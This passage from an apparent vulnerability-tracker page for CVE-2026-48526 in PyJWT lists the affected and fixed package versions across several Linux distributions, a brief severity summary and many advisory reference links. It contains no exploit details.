fence-agents-amt-wsRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-agents-apcRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-agents-apc-snmpRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-agents-awsRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-agents-azure-armRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-agents-bladecenterRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-agents-brocadeRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-agents-cisco-mdsRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-agents-cisco-ucsRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-agents-commonRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-agents-computeRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-agents-debuginfoRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-agents-debugsourceRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-agents-drac5Red Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-agents-eaton-snmpRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-agents-emersonRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-agents-epsRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-agents-gceRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-agents-heuristics-pingRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-agents-hpbladeRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-agents-ibm-powervsRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-agents-ibm-vpcRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-agents-ibmbladeRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-agents-ifmibRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-agents-ilo-moonshotRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-agents-ilo-mpRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-agents-ilo-sshRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-agents-ilo2Red Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-agents-intelmodularRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-agents-ipduRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-agents-ipmilanRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-agents-kdumpRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-agents-kdump-debuginfoRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-agents-kubevirtRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-agents-kubevirt-debuginfoRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-agents-lparRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-agents-mpathRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-agents-nutanix-ahvRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-agents-openstackRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-agents-redfishRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-agents-rhevmRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-agents-rsaRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-agents-rsbRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-agents-sbdRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-agents-scsiRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-agents-virshRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-agents-vmware-restRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-agents-vmware-soapRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-agents-wtiRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-agents-zvmRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-virtRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-virt-debuginfoRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-virtdRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-virtd-cpgRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-agentsRocky Linux:10 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-agentsRocky Linux:9 |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
pyjwtRoot:PyPI |
before 2.9.0+aikido.1 | 2.9.0+aikido.1 |
PyJWTRoot:PyPI |
before 2.9.0+aikido.4 | 2.9.0+aikido.42.10.1+aikido.42.5.0+aikido.32.12.1+aikido.12.4.0+aikido.42.8.0+aikido.32.12.0+aikido.12.4.0+aikido.52.12.0+aikido.22.12.1+aikido.22.10.1+aikido.52.8.0+aikido.42.9.0+aikido.52.5.0+aikido.42.9.0+aikido.62.10.1+aikido.62.8.0+aikido.52.5.0+aikido.52.12.0+aikido.32.12.1+aikido.32.4.0+aikido.62.10.1+aikido.72.12.0+aikido.42.4.0+aikido.72.12.0+aikido.52.8.0+aikido.62.12.1+aikido.42.5.0+aikido.62.12.1+aikido.5 |
PyJWTRoot:PyPI |
before 2.12.1+aikido.5 | 2.12.1+aikido.52.13.0+aikido.1 |
python-PyJWTSUSE:Linux Micro 6.1 From an advisory covering 5 CVEs |
before 2.12.1-slfo.1.1_2.1 | 2.12.1-slfo.1.1_2.1 |
python-PyJWTSUSE:Linux Enterprise Server 16.0 From an advisory covering 5 CVEs |
before 2.12.1-160000.2.1 | 2.12.1-160000.2.1 |
python-PyJWTSUSE:Linux Enterprise Server for SAP applications 16.0 From an advisory covering 5 CVEs |
before 2.12.1-160000.2.1 | 2.12.1-160000.2.1 |
python-PyJWTSUSE:Linux Micro 6.2 From an advisory covering 5 CVEs |
before 2.12.1-160000.2.1 | 2.12.1-160000.2.1 |
python-PyJWTSUSE:Linux Micro 6.0 From an advisory covering 5 CVEs |
before 2.9.0-3.1 | 2.9.0-3.1 |
python-PyJWTSUSE:Linux Enterprise Module for Public Cloud 15 SP4 From an advisory covering 5 CVEs |
before 2.8.0-150400.8.13.1 | 2.8.0-150400.8.13.1 |
python-PyJWTSUSE:Linux Enterprise Module for Python 3 15 SP7 From an advisory covering 5 CVEs |
before 2.8.0-150400.8.13.1 | 2.8.0-150400.8.13.1 |
python-PyJWTSUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS From an advisory covering 5 CVEs |
before 2.8.0-150400.8.13.1 | 2.8.0-150400.8.13.1 |
python-PyJWTSUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS From an advisory covering 5 CVEs |
before 2.8.0-150400.8.13.1 | 2.8.0-150400.8.13.1 |
python-PyJWTSUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS From an advisory covering 5 CVEs |
before 2.8.0-150400.8.13.1 | 2.8.0-150400.8.13.1 |
python-PyJWTSUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS From an advisory covering 5 CVEs |
before 2.8.0-150400.8.13.1 | 2.8.0-150400.8.13.1 |
python-PyJWTSUSE:Linux Enterprise Server 15 SP4-LTSS From an advisory covering 5 CVEs |
before 2.8.0-150400.8.13.1 | 2.8.0-150400.8.13.1 |
python-PyJWTSUSE:Linux Enterprise Server 15 SP5-LTSS From an advisory covering 5 CVEs |
before 2.8.0-150400.8.13.1 | 2.8.0-150400.8.13.1 |
python-PyJWTSUSE:Linux Enterprise Server 15 SP6-LTSS From an advisory covering 5 CVEs |
before 2.8.0-150400.8.13.1 | 2.8.0-150400.8.13.1 |
python-PyJWTSUSE:Linux Enterprise Server for SAP Applications 15 SP4 From an advisory covering 5 CVEs |
before 2.8.0-150400.8.13.1 | 2.8.0-150400.8.13.1 |
python-PyJWTSUSE:Linux Enterprise Server for SAP Applications 15 SP5 From an advisory covering 5 CVEs |
before 2.8.0-150400.8.13.1 | 2.8.0-150400.8.13.1 |
python-PyJWTSUSE:Linux Enterprise Server for SAP Applications 15 SP6 From an advisory covering 5 CVEs |
before 2.8.0-150400.8.13.1 | 2.8.0-150400.8.13.1 |
python-PyJWTSUSE:Linux Enterprise Micro 5.5 From an advisory covering 4 CVEs |
before 2.4.0-150200.3.14.1 | 2.4.0-150200.3.14.1 |
python-PyJWTSUSE:Linux Enterprise Module for Basesystem 15 SP7 From an advisory covering 4 CVEs |
before 2.4.0-150200.3.14.1 | 2.4.0-150200.3.14.1 |
python-PyJWTSUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS From an advisory covering 4 CVEs |
before 2.4.0-150200.3.14.1 | 2.4.0-150200.3.14.1 |
python-PyJWTSUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS From an advisory covering 4 CVEs |
before 2.4.0-150200.3.14.1 | 2.4.0-150200.3.14.1 |
python-PyJWTSUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS From an advisory covering 4 CVEs |
before 2.4.0-150200.3.14.1 | 2.4.0-150200.3.14.1 |
python-PyJWTSUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS From an advisory covering 4 CVEs |
before 2.4.0-150200.3.14.1 | 2.4.0-150200.3.14.1 |
python-PyJWTSUSE:Linux Enterprise Server 15 SP4-LTSS From an advisory covering 4 CVEs |
before 2.4.0-150200.3.14.1 | 2.4.0-150200.3.14.1 |
python-PyJWTSUSE:Linux Enterprise Server 15 SP5-LTSS From an advisory covering 4 CVEs |
before 2.4.0-150200.3.14.1 | 2.4.0-150200.3.14.1 |
python-PyJWTSUSE:Linux Enterprise Server 15 SP6-LTSS From an advisory covering 4 CVEs |
before 2.4.0-150200.3.14.1 | 2.4.0-150200.3.14.1 |
python-PyJWTSUSE:Linux Enterprise Server for SAP Applications 15 SP4 From an advisory covering 4 CVEs |
before 2.4.0-150200.3.14.1 | 2.4.0-150200.3.14.1 |
python-PyJWTSUSE:Linux Enterprise Server for SAP Applications 15 SP5 From an advisory covering 4 CVEs |
before 2.4.0-150200.3.14.1 | 2.4.0-150200.3.14.1 |
python-PyJWTSUSE:Linux Enterprise Server for SAP Applications 15 SP6 From an advisory covering 4 CVEs |
before 2.4.0-150200.3.14.1 | 2.4.0-150200.3.14.1 |
pyjwtUbuntu:Pro:16.04:LTS |
before 1.3.0-1ubuntu0.1+esm2, plus listed versions 1.0.0-0ubuntu11.3.0-11.3.0-1ubuntu0.11.3.0-1ubuntu0.1+esm1 |
1.3.0-1ubuntu0.1+esm2 |
pyjwtUbuntu:Pro:18.04:LTS |
before 1.5.3+ds1-1ubuntu0.1+esm2, plus listed versions 1.4.2-1.11.5.3+ds1-11.5.3+ds1-1ubuntu0.11.5.3+ds1-1ubuntu0.1+esm1 |
1.5.3+ds1-1ubuntu0.1+esm2 |
pyjwtUbuntu:Pro:20.04:LTS |
before 1.7.1-2ubuntu2.1+esm2, plus listed versions 1.7.0-21.7.1-11.7.1-2ubuntu11.7.1-2ubuntu21.7.1-2ubuntu2.11.7.1-2ubuntu2.1+esm1 |
1.7.1-2ubuntu2.1+esm2 |
pyjwtUbuntu:22.04:LTS |
before 2.3.0-1ubuntu0.4, plus listed versions 1.7.1-2ubuntu22.1.0-12.3.0-12.3.0-1ubuntu0.12.3.0-1ubuntu0.22.3.0-1ubuntu0.3 |
2.3.0-1ubuntu0.4 |
pyjwtUbuntu:24.04:LTS |
before 2.7.0-1ubuntu0.2, plus listed versions 2.7.0-12.7.0-1ubuntu0.1 |
2.7.0-1ubuntu0.2 |
pyjwtUbuntu:25.10 |
All versions, plus listed versions 2.10.1-22.10.1-2ubuntu0.1 |
None known |
pyjwtUbuntu:26.04:LTS |
before 2.10.1-4ubuntu1.1, plus listed versions 2.10.1-22.10.1-32.10.1-3build12.10.1-42.10.1-4ubuntu1 |
2.10.1-4ubuntu1.1 |
pyjwtUbuntu:Pro:16.04:LTS From an advisory covering 5 CVEs |
before 1.3.0-1ubuntu0.1+esm2, plus listed versions 1.0.0-0ubuntu11.3.0-11.3.0-1ubuntu0.11.3.0-1ubuntu0.1+esm1 |
1.3.0-1ubuntu0.1+esm2 |
pyjwtUbuntu:Pro:18.04:LTS From an advisory covering 5 CVEs |
before 1.5.3+ds1-1ubuntu0.1+esm2, plus listed versions 1.4.2-1.11.5.3+ds1-11.5.3+ds1-1ubuntu0.11.5.3+ds1-1ubuntu0.1+esm1 |
1.5.3+ds1-1ubuntu0.1+esm2 |
pyjwtUbuntu:Pro:20.04:LTS From an advisory covering 5 CVEs |
before 1.7.1-2ubuntu2.1+esm2, plus listed versions 1.7.0-21.7.1-11.7.1-2ubuntu11.7.1-2ubuntu21.7.1-2ubuntu2.11.7.1-2ubuntu2.1+esm1 |
1.7.1-2ubuntu2.1+esm2 |
pyjwtUbuntu:22.04:LTS From an advisory covering 5 CVEs |
before 2.3.0-1ubuntu0.4, plus listed versions 1.7.1-2ubuntu22.1.0-12.3.0-12.3.0-1ubuntu0.12.3.0-1ubuntu0.22.3.0-1ubuntu0.3 |
2.3.0-1ubuntu0.4 |
pyjwtUbuntu:24.04:LTS From an advisory covering 5 CVEs |
before 2.7.0-1ubuntu0.2, plus listed versions 2.7.0-12.7.0-1ubuntu0.1 |
2.7.0-1ubuntu0.2 |
pyjwtUbuntu:26.04:LTS From an advisory covering 5 CVEs |
before 2.10.1-4ubuntu1.1, plus listed versions 2.10.1-22.10.1-32.10.1-3build12.10.1-42.10.1-4ubuntu1 |
2.10.1-4ubuntu1.1 |
python-PyJWTopenSUSE:Tumbleweed From an advisory covering 5 CVEs |
before 2.13.0-1.1 | 2.13.0-1.1 |
python-PyJWTopenSUSE:Leap 16.0 From an advisory covering 5 CVEs |
before 2.12.1-160000.2.1 | 2.12.1-160000.2.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-48526 is a high vulnerability (CVSS 7.4) in Jpadilla Pyjwt, published May 28, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.43%, the 37th percentile. Fixed in pyjwt 2.14.0.
References
github.com/jpadilla/pyjwt/security/advisories/GHSA-xgmm-8j9v-c9wx
access.redhat.com/security/cve/CVE-2026-48526
bugzilla.redhat.com/show_bug.cgi?id=2482734
security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48526.json
access.redhat.com/errata/RHSA-2026:50319
access.redhat.com/errata/RHSA-2026:50223
Show 194 moreShow less
access.redhat.com/errata/RHSA-2026:50336
access.redhat.com/errata/RHSA-2026:34160
access.redhat.com/errata/RHSA-2026:50222
access.redhat.com/errata/RHSA-2026:50263
access.redhat.com/errata/RHSA-2026:34365
access.redhat.com/errata/RHSA-2026:35845
access.redhat.com/errata/RHSA-2026:25902
access.redhat.com/errata/RHSA-2026:35837
access.redhat.com/errata/RHSA-2026:35836
access.redhat.com/errata/RHSA-2026:35835
access.redhat.com/errata/RHSA-2026:26206
access.redhat.com/errata/RHSA-2026:30089
access.redhat.com/errata/RHSA-2026:30088
access.redhat.com/errata/RHSA-2026:42144
access.redhat.com/errata/RHSA-2026:42132
access.redhat.com/errata/RHSA-2026:34374
github.com/jpadilla/pyjwt/security/advisories/GHSA-pxh4-856f-4h89
github.com/jpadilla/pyjwt/commit/af8181ca0bec5e6b372fbba9afbe23702b787ceb
github.com/jpadilla/pyjwt/releases/tag/2.14.0
github.com/advisories/GHSA-pxh4-856f-4h89
nvd.nist.gov/vuln/detail/CVE-2026-48526
github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-179.yaml
github.com/advisories/GHSA-xgmm-8j9v-c9wx
bugzilla.redhat.com/2482734
errata.almalinux.org/10/ALSA-2026-25902.html
errata.almalinux.org/9/ALSA-2026-26206.html
docs.bell-sw.com/security/cves/CVE-2026-48526
github.com/CVEProject/cvelistV5/tree/main/cves/2026/48xxx/CVE-2026-48526.json
security-tracker.debian.org/tracker/CVE-2026-48526
github.com/jpadilla/pyjwt
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_25902.json
cve.org/CVERecord?id=CVE-2026-48526
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_26206.json
bugzilla.redhat.com/show_bug.cgi?id=2477154
bugzilla.redhat.com/show_bug.cgi?id=2477167
bugzilla.redhat.com/show_bug.cgi?id=2487937
bugzilla.redhat.com/show_bug.cgi?id=2487949
docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.6/whats_new-async_updates
docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.6
bugzilla.redhat.com/show_bug.cgi?id=2449774
bugzilla.redhat.com/show_bug.cgi?id=2461147
bugzilla.redhat.com/show_bug.cgi?id=2461606
bugzilla.redhat.com/show_bug.cgi?id=2477104
bugzilla.redhat.com/show_bug.cgi?id=2466684
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_34160.json
cve.org/CVERecord?id=CVE-2026-6322
nvd.nist.gov/vuln/detail/CVE-2026-6322
cna.openjsf.org/security-advisories.html
github.com/fastify/fast-uri/security/advisories/GHSA-v39h-62p7-jpjc
cve.org/CVERecord?id=CVE-2026-33154
nvd.nist.gov/vuln/detail/CVE-2026-33154
github.com/dynaconf/dynaconf/commit/2fbb45ee36b8c0caa5b924fe19f3c1a5e8603fa7
github.com/dynaconf/dynaconf/releases/tag/3.2.13
github.com/dynaconf/dynaconf/security/advisories/GHSA-pxrr-hq57-q35p
cve.org/CVERecord?id=CVE-2026-41240
nvd.nist.gov/vuln/detail/CVE-2026-41240
github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80
github.com/cure53/DOMPurify/releases/tag/3.4.0
github.com/cure53/DOMPurify/security/advisories/GHSA-h7mw-gpvr-xq4m
cve.org/CVERecord?id=CVE-2026-42035
nvd.nist.gov/vuln/detail/CVE-2026-42035
github.com/axios/axios/security/advisories/GHSA-6chq-wfr3-2hj9
bugzilla.redhat.com/show_bug.cgi?id=2464122
cve.org/CVERecord?id=CVE-2026-42784
nvd.nist.gov/vuln/detail/CVE-2026-42784
cve.org/CVERecord?id=CVE-2026-44293
nvd.nist.gov/vuln/detail/CVE-2026-44293
github.com/protobufjs/protobuf.js/security/advisories/GHSA-66ff-xgx4-vchm
cve.org/CVERecord?id=CVE-2026-44431
nvd.nist.gov/vuln/detail/CVE-2026-44431
github.com/urllib3/urllib3/security/advisories/GHSA-qccp-gfcp-xxvc
cve.org/CVERecord?id=CVE-2026-44432
nvd.nist.gov/vuln/detail/CVE-2026-44432
github.com/urllib3/urllib3/security/advisories/GHSA-mf9v-mfxr-j63j
cve.org/CVERecord?id=CVE-2026-44488
nvd.nist.gov/vuln/detail/CVE-2026-44488
cve.org/CVERecord?id=CVE-2026-44495
nvd.nist.gov/vuln/detail/CVE-2026-44495
issues.redhat.com/browse/SAT-45957
issues.redhat.com/browse/SAT-46096
issues.redhat.com/browse/SAT-46097
issues.redhat.com/browse/SAT-46098
issues.redhat.com/browse/SAT-46101
issues.redhat.com/browse/SAT-46102
issues.redhat.com/browse/SAT-46103
issues.redhat.com/browse/SAT-46106
issues.redhat.com/browse/SAT-46107
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_34365.json
bugzilla.redhat.com/show_bug.cgi?id=2452230
cve.org/CVERecord?id=CVE-2026-5135
nvd.nist.gov/vuln/detail/CVE-2026-5135
bugzilla.redhat.com/show_bug.cgi?id=2452970
cve.org/CVERecord?id=CVE-2026-5136
nvd.nist.gov/vuln/detail/CVE-2026-5136
bugzilla.redhat.com/show_bug.cgi?id=2452971
cve.org/CVERecord?id=CVE-2026-5138
nvd.nist.gov/vuln/detail/CVE-2026-5138
bugzilla.redhat.com/show_bug.cgi?id=2452999
cve.org/CVERecord?id=CVE-2026-5142
nvd.nist.gov/vuln/detail/CVE-2026-5142
bugzilla.redhat.com/show_bug.cgi?id=2445356
cve.org/CVERecord?id=CVE-2026-25679
nvd.nist.gov/vuln/detail/CVE-2026-25679
go.dev/cl/752180
go.dev/issue/77578
groups.google.com/g/golang-announce/c/EdhZqrQ98hk
pkg.go.dev/vuln/GO-2026-4601
bugzilla.redhat.com/show_bug.cgi?id=2442671
cve.org/CVERecord?id=CVE-2026-27727
nvd.nist.gov/vuln/detail/CVE-2026-27727
mogwailabs.de/en/blog/2025/02/c3p0-you-little-rascal
mchange.com/projects/c3p0
bugzilla.redhat.com/show_bug.cgi?id=2456339
cve.org/CVERecord?id=CVE-2026-32280
nvd.nist.gov/vuln/detail/CVE-2026-32280
go.dev/cl/758320
go.dev/issue/78282
groups.google.com/g/golang-announce/c/0uYbvbPZRWU
pkg.go.dev/vuln/GO-2026-4947
cve.org/CVERecord?id=CVE-2026-32281
nvd.nist.gov/vuln/detail/CVE-2026-32281
go.dev/cl/758061
go.dev/issue/78281
pkg.go.dev/vuln/GO-2026-4946
go.dev/cl/763761
go.dev/issue/78293
pkg.go.dev/vuln/GO-2026-4864
go.dev/cl/763767
go.dev/issue/78334
pkg.go.dev/vuln/GO-2026-4870
go.dev/cl/763763
go.dev/issue/78332
pkg.go.dev/vuln/GO-2026-4866
pillow.readthedocs.io/en/stable/releasenotes/12.2.0.html
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_35835.json
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_35836.json
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_35837.json
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_35845.json
issues.redhat.com/browse/SAT-44867
issues.redhat.com/browse/SAT-48096
issues.redhat.com/browse/SAT-48147
issues.redhat.com/browse/SAT-48150
issues.redhat.com/browse/SAT-48303
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_50222.json
gitlab.eclipse.org/security/cve-assignment/-/issues/89
issues.redhat.com/browse/SAT-44868
issues.redhat.com/browse/SAT-48146
issues.redhat.com/browse/SAT-48289
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_50223.json
issues.redhat.com/browse/SAT-44866
issues.redhat.com/browse/SAT-48160
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_50263.json
docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.5/html/release_notes/patch_releases
docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.5
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_50319.json
go.dev/cl/783621
go.dev/issue/79694
groups.google.com/g/golang-announce/c/tKs3rmcBcKw
pkg.go.dev/vuln/GO-2026-5037
go.dev/cl/767860
go.dev/issue/78803
groups.google.com/g/golang-announce/c/qcCIEXso47M
pkg.go.dev/vuln/GO-2026-4981
go.dev/cl/759940
go.dev/issue/78566
pkg.go.dev/vuln/GO-2026-4986
go.dev/cl/771520
pkg.go.dev/vuln/GO-2026-4977
pkg.go.dev/vuln/GO-2026-5038
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_50336.json
errata.rockylinux.org/RLSA-2026:25902
errata.rockylinux.org/RLSA-2026:26206
suse.com/support/update/announcement/2026/suse-su-202622138-1
bugzilla.suse.com/1266798
bugzilla.suse.com/1266799
bugzilla.suse.com/1266800
bugzilla.suse.com/1266801
bugzilla.suse.com/1266802
suse.com/security/cve/CVE-2026-48522
suse.com/security/cve/CVE-2026-48523
suse.com/security/cve/CVE-2026-48524
suse.com/security/cve/CVE-2026-48525
suse.com/security/cve/CVE-2026-48526
suse.com/support/update/announcement/2026/suse-su-202622170-1
suse.com/support/update/announcement/2026/suse-su-202622220-1
suse.com/support/update/announcement/2026/suse-su-202622238-1
suse.com/support/update/announcement/2026/suse-su-20262626-1
suse.com/support/update/announcement/2026/suse-su-20262627-1
ubuntu.com/security/CVE-2026-48526
ubuntu.com/security/notices/USN-8823-1
ubuntu.com/security/CVE-2026-48522
ubuntu.com/security/CVE-2026-48523
ubuntu.com/security/CVE-2026-48524
ubuntu.com/security/CVE-2026-48525
Left out here: 668 package rows, 9 versions, 181 references and the rest of 2 source descriptions. The JSON record has them.